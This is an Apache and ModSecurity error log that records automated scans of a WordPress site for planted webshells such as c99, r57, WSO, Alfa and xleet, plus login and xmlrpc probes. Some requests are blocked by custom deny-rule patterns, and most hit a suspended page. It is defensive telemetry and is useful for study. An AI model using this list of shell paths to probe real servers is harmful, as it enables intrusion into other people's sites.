[Mon Nov 24 14:40:09.709950 2025] [:error] [pid 16441:tid 16457] [client 85.237.194.56:37915] [client 85.237.194.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSP9yYq_bc5MOa9Hfln-QAAAAI0"]
[Mon Nov 24 14:40:11.964584 2025] [:error] [pid 16441:tid 16445] [client 85.237.194.56:62543] [client 85.237.194.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSP9y4q_bc5MOa9Hfln-RgAAAIE"]
[Mon Nov 24 14:40:18.294415 2025] [:error] [pid 9630:tid 9642] [client 181.215.65.70:57215] [client 181.215.65.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSP90irSgUgPGkizt2rHNgAAAEo"]
[Mon Nov 24 14:40:21.793375 2025] [:error] [pid 16516:tid 16523] [client 85.237.194.106:26277] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Mon Nov 24 14:40:23.879886 2025] [:error] [pid 16516:tid 16521] [client 85.237.194.106:26277] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Mon Nov 24 14:40:24.474211 2025] [:error] [pid 16516:tid 16528] [client 85.237.194.106:26277] [client 85.237.194.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSP92PqZbniwaNwL8XnOiAAAAQk"]
[Mon Nov 24 14:40:25.888402 2025] [:error] [pid 48688:tid 48696] [client 85.237.194.96:28297] [client 85.237.194.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSP92Rm2q1FkzLam7A2AdAAAAkQ"]
[Mon Nov 24 14:40:27.894566 2025] [:error] [pid 48599:tid 48615] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Mon Nov 24 14:40:28.575711 2025] [:error] [pid 48599:tid 48603] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php
[Mon Nov 24 14:40:29.375814 2025] [:error] [pid 48599:tid 48627] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Mon Nov 24 14:40:30.071704 2025] [:error] [pid 48599:tid 48606] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Mon Nov 24 14:40:30.767000 2025] [:error] [pid 48599:tid 48626] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Mon Nov 24 14:40:31.478193 2025] [:error] [pid 48599:tid 48610] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php
[Mon Nov 24 14:40:32.187949 2025] [:error] [pid 48599:tid 48612] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/lufix.php
[Mon Nov 24 14:40:32.891195 2025] [:error] [pid 48599:tid 48614] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Mon Nov 24 14:40:34.488391 2025] [:error] [pid 48599:tid 48607] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php
[Mon Nov 24 14:40:35.175301 2025] [:error] [pid 48599:tid 48619] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Mon Nov 24 14:40:35.865810 2025] [:error] [pid 48599:tid 48604] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/upfile.php
[Mon Nov 24 14:40:36.490117 2025] [:error] [pid 48599:tid 48611] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Mon Nov 24 14:40:37.180314 2025] [:error] [pid 48599:tid 48617] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Mon Nov 24 14:40:37.876794 2025] [:error] [pid 48599:tid 48627] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php
[Mon Nov 24 14:40:38.586281 2025] [:error] [pid 48599:tid 48610] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/updates.php
[Mon Nov 24 14:40:39.283270 2025] [:error] [pid 48599:tid 48625] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Mon Nov 24 14:40:39.973172 2025] [:error] [pid 48599:tid 48616] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/plugins.php
[Mon Nov 24 14:40:40.597770 2025] [:error] [pid 48599:tid 48604] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Mon Nov 24 14:40:42.096691 2025] [:error] [pid 48599:tid 48604] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/ae.php
[Mon Nov 24 14:40:42.791082 2025] [:error] [pid 48599:tid 48603] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Mon Nov 24 14:40:43.491927 2025] [:error] [pid 48599:tid 48606] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php
[Mon Nov 24 14:40:44.174125 2025] [:error] [pid 48599:tid 48626] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Mon Nov 24 14:40:44.812408 2025] [:error] [pid 48599:tid 48610] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Mon Nov 24 14:40:45.407475 2025] [:error] [pid 48599:tid 48621] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Mon Nov 24 14:40:46.083826 2025] [:error] [pid 48599:tid 48620] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Mon Nov 24 14:40:46.775714 2025] [:error] [pid 48599:tid 48625] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Mon Nov 24 14:40:47.409748 2025] [:error] [pid 48599:tid 48614] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Mon Nov 24 14:40:48.100936 2025] [:error] [pid 48599:tid 48612] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php
[Mon Nov 24 14:40:48.795770 2025] [:error] [pid 48599:tid 48607] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wso112233.php
[Mon Nov 24 14:40:49.474517 2025] [:error] [pid 48599:tid 48608] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Mon Nov 24 14:40:50.194505 2025] [:error] [pid 48599:tid 48616] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php
[Mon Nov 24 14:40:50.884918 2025] [:error] [pid 48599:tid 48624] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php
[Mon Nov 24 14:40:51.588915 2025] [:error] [pid 48599:tid 48619] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Mon Nov 24 14:40:52.279266 2025] [:error] [pid 48599:tid 48617] [client 181.215.65.71:24417] [client 181.215.65.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.71, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSP99Jzvu6PDJiRKE3IJcwAAAY4"]
[Mon Nov 24 14:40:52.284109 2025] [:error] [pid 48599:tid 48617] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 14:40:53.776490 2025] [:error] [pid 48599:tid 48603] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Mon Nov 24 14:40:54.468308 2025] [:error] [pid 48599:tid 48606] [client 181.215.65.71:24417] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Mon Nov 24 14:40:55.177395 2025] [:error] [pid 48599:tid 48605] [client 181.215.65.71:24417] [client 181.215.65.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSP995zvu6PDJiRKE3IJeAAAAYI"]
[Mon Nov 24 14:40:56.566203 2025] [:error] [pid 48599:tid 48618] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/olux.php
[Mon Nov 24 14:40:57.187369 2025] [:error] [pid 48599:tid 48610] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Mon Nov 24 14:40:59.371718 2025] [:error] [pid 48599:tid 48625] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/uploader.php
[Mon Nov 24 14:40:59.984235 2025] [:error] [pid 48599:tid 48614] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/1337.php
[Mon Nov 24 14:41:00.806177 2025] [:error] [pid 48599:tid 48612] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Mon Nov 24 14:41:02.712469 2025] [:error] [pid 48599:tid 48607] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Mon Nov 24 14:41:05.182254 2025] [:error] [pid 48599:tid 48616] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/wxo.php
[Mon Nov 24 14:41:05.971126 2025] [:error] [pid 48599:tid 48609] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/amigo.php
[Mon Nov 24 14:41:06.676696 2025] [:error] [pid 48599:tid 48617] [client 181.215.65.76:40877] File does not exist: /usr/local/apache/htdocs/suspended-page/yoi.php
[Mon Nov 24 14:41:07.988784 2025] [:error] [pid 48599:tid 48613] [client 181.215.65.76:40877] [client 181.215.65.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSP-A5zvu6PDJiRKE3IJhwAAAYo"]
[Mon Nov 24 14:41:09.394105 2025] [:error] [pid 16441:tid 16456] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-contentt.php
[Mon Nov 24 14:41:10.199437 2025] [:error] [pid 16441:tid 16465] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/we1y8.php
[Mon Nov 24 14:41:13.579897 2025] [:error] [pid 16441:tid 16452] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Mon Nov 24 14:41:14.192324 2025] [:error] [pid 16441:tid 16464] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/post-data.php
[Mon Nov 24 14:41:14.799253 2025] [:error] [pid 16441:tid 16450] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/w0.php
[Mon Nov 24 14:41:16.316710 2025] [:error] [pid 16441:tid 16450] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/old-index.php
[Mon Nov 24 14:41:17.169302 2025] [:error] [pid 16441:tid 16459] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/wsanon.php
[Mon Nov 24 14:41:19.987468 2025] [:error] [pid 16441:tid 16445] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/indo.php
[Mon Nov 24 14:41:20.696982 2025] [:error] [pid 16441:tid 16448] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/beence.php
[Mon Nov 24 14:41:22.267330 2025] [:error] [pid 16441:tid 16466] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/indosec.php
[Mon Nov 24 14:41:22.973344 2025] [:error] [pid 16441:tid 16453] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/archives.php
[Mon Nov 24 14:41:23.673785 2025] [:error] [pid 16441:tid 16451] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/po8sa.php
[Mon Nov 24 14:41:25.202528 2025] [:error] [pid 16441:tid 16451] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/thesmartestx.php
[Mon Nov 24 14:41:25.981328 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/zcanp.php
[Mon Nov 24 14:41:27.294150 2025] [:error] [pid 16441:tid 16454] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/pvt.php
[Mon Nov 24 14:41:27.995709 2025] [:error] [pid 16441:tid 16451] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Mon Nov 24 14:41:29.295165 2025] [:error] [pid 16441:tid 16458] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/crypted.php
[Mon Nov 24 14:41:29.981114 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/h0110w4y.php
[Mon Nov 24 14:41:30.594513 2025] [:error] [pid 16441:tid 16463] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/vesiw.php
[Mon Nov 24 14:41:31.285133 2025] [:error] [pid 16441:tid 16448] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Mon Nov 24 14:41:32.181436 2025] [:error] [pid 16441:tid 16445] [client 85.237.194.60:46781] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-db.php
[Mon Nov 24 14:41:32.788427 2025] [:error] [pid 16441:tid 16455] [client 85.237.194.60:46781] [client 85.237.194.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSP-HIq_bc5MOa9Hfln_hwAAAIs"]
[Mon Nov 24 14:41:35.597131 2025] [:error] [pid 48601:tid 48679] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/lx.php
[Mon Nov 24 14:41:36.293227 2025] [:error] [pid 48601:tid 48672] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/tonant.php
[Mon Nov 24 14:41:37.007601 2025] [:error] [pid 48601:tid 48673] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/f0x.php
[Mon Nov 24 14:41:37.693442 2025] [:error] [pid 48601:tid 48659] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/config.bak.php
[Mon Nov 24 14:41:38.372013 2025] [:error] [pid 48601:tid 48665] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass403.php
[Mon Nov 24 14:41:38.991742 2025] [:error] [pid 48601:tid 48657] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Mon Nov 24 14:41:39.688886 2025] [:error] [pid 48601:tid 48680] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/allahnaber.php
[Mon Nov 24 14:41:40.375417 2025] [:error] [pid 48601:tid 48662] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/AK-74.php
[Mon Nov 24 14:41:41.075307 2025] [:error] [pid 48601:tid 48674] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa3.php
[Mon Nov 24 14:41:42.113911 2025] [:error] [pid 48601:tid 48674] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/alfaindex.php
[Mon Nov 24 14:41:42.768854 2025] [:error] [pid 48601:tid 48663] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Mon Nov 24 14:41:43.388044 2025] [:error] [pid 48601:tid 48677] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/c99.php
[Mon Nov 24 14:41:44.091769 2025] [:error] [pid 48601:tid 48669] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/cmd.php
[Mon Nov 24 14:41:44.774325 2025] [:error] [pid 48601:tid 48667] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/cw.php
[Mon Nov 24 14:41:45.383248 2025] [:error] [pid 48601:tid 48675] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/date.php
[Mon Nov 24 14:41:46.092677 2025] [:error] [pid 48601:tid 48666] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/haxor.php
[Mon Nov 24 14:41:46.784096 2025] [:error] [pid 48601:tid 48671] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/icomsium.php
[Mon Nov 24 14:41:47.485985 2025] [:error] [pid 48601:tid 48664] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/ico.php
[Mon Nov 24 14:41:48.177458 2025] [:error] [pid 48601:tid 48679] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/leaf.php
[Mon Nov 24 14:41:48.871063 2025] [:error] [pid 48601:tid 48672] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Mon Nov 24 14:41:49.567687 2025] [:error] [pid 48601:tid 48673] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/mass.php
[Mon Nov 24 14:41:50.284841 2025] [:error] [pid 48601:tid 48659] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Mon Nov 24 14:41:50.976283 2025] [:error] [pid 48601:tid 48665] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/priv8.php
[Mon Nov 24 14:41:51.670019 2025] [:error] [pid 48601:tid 48657] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/pws.php
[Mon Nov 24 14:41:52.370847 2025] [:error] [pid 48601:tid 48661] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/r57.php
[Mon Nov 24 14:41:53.093609 2025] [:error] [pid 48601:tid 48676] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Mon Nov 24 14:41:53.774715 2025] [:error] [pid 48601:tid 48681] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/snd.php
[Mon Nov 24 14:41:54.473116 2025] [:error] [pid 48601:tid 48670] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Mon Nov 24 14:41:55.097957 2025] [:error] [pid 48601:tid 48678] [client 181.215.65.72:41401] File does not exist: /usr/local/apache/htdocs/suspended-page/new-index.php
[Mon Nov 24 14:42:18.398843 2025] [:error] [pid 49900:tid 49924] [client 104.234.32.2:43679] [client 104.234.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSP-SjCyPLrvg06aornrzAAAABY"]
[Mon Nov 24 14:42:20.402372 2025] [:error] [pid 9630:tid 9637] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-widget-archives.php
[Mon Nov 24 14:42:26.785898 2025] [:error] [pid 9630:tid 9653] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet-shell.php
[Mon Nov 24 14:42:27.485846 2025] [:error] [pid 9630:tid 9632] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php
[Mon Nov 24 14:42:28.096422 2025] [:error] [pid 9630:tid 9654] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/xleetshell.php
[Mon Nov 24 14:42:30.184226 2025] [:error] [pid 9630:tid 9637] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/xlt.php
[Mon Nov 24 14:42:34.282408 2025] [:error] [pid 9630:tid 9634] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-apxupx.php
[Mon Nov 24 14:42:34.979923 2025] [:error] [pid 9630:tid 9636] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Mon Nov 24 14:42:35.665883 2025] [:error] [pid 9630:tid 9638] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Mon Nov 24 14:42:36.306285 2025] [:error] [pid 9630:tid 9642] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Mon Nov 24 14:42:36.983162 2025] [:error] [pid 9630:tid 9654] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Mon Nov 24 14:42:37.682381 2025] [:error] [pid 9630:tid 9648] [client 85.237.194.122:63049] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-pano.php
[Mon Nov 24 14:42:39.073116 2025] [:error] [pid 9630:tid 9639] [client 85.237.194.122:63049] [client 85.237.194.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSP-XyrSgUgPGkizt2rHvQAAAEc"]
[Mon Nov 24 14:42:40.382647 2025] [:error] [pid 16441:tid 16453] [client 85.237.194.56:38461] [client 85.237.194.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.237.194.56, incrementing ddos counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aSP-YIq_bc5MOa9Hfln_yQAAAIk"]
[Mon Nov 24 14:42:40.386671 2025] [:error] [pid 16441:tid 16453] [client 85.237.194.56:38461] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Nov 24 14:42:41.077154 2025] [:error] [pid 16441:tid 16454] [client 85.237.194.56:38461] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Mon Nov 24 14:42:42.473698 2025] [:error] [pid 16441:tid 16462] [client 85.237.194.56:38461] [client 85.237.194.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSP-Yoq_bc5MOa9Hfln_zwAAAJI"]
[Mon Nov 24 14:42:44.475948 2025] [:error] [pid 48688:tid 48698] [client 85.237.194.70:45639] File does not exist: /usr/local/apache/htdocs/suspended-page/WSOEnigma.php
[Mon Nov 24 14:42:47.779828 2025] [:error] [pid 48688:tid 48695] [client 85.237.194.70:45639] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Mon Nov 24 14:42:49.181484 2025] [:error] [pid 48688:tid 48700] [client 85.237.194.70:45639] File does not exist: /usr/local/apache/htdocs/suspended-page/test.php
[Mon Nov 24 14:42:49.869274 2025] [:error] [pid 48688:tid 48701] [client 85.237.194.70:45639] [client 85.237.194.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSP-aRm2q1FkzLam7A2BNgAAAkk"]
[Mon Nov 24 14:42:51.176941 2025] [:error] [pid 49900:tid 49918] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/gebase.php
[Mon Nov 24 14:42:51.976322 2025] [:error] [pid 49900:tid 49915] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/defaults.php
[Mon Nov 24 14:42:52.581857 2025] [:error] [pid 49900:tid 49925] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Mon Nov 24 14:42:55.300974 2025] [:error] [pid 49900:tid 49908] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/contact.php
[Mon Nov 24 14:42:58.098748 2025] [:error] [pid 49900:tid 49916] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Nov 24 14:42:58.772408 2025] [:error] [pid 49900:tid 49917] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Mon Nov 24 14:42:59.409165 2025] [:error] [pid 49900:tid 49920] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-add.php
[Mon Nov 24 14:43:03.075297 2025] [:error] [pid 49900:tid 49902] [client 85.237.194.54:39415] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Mon Nov 24 14:43:04.411430 2025] [:error] [pid 49900:tid 49907] [client 85.237.194.54:39415] [client 85.237.194.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSP-eDCyPLrvg06aornsUAAAAAU"]
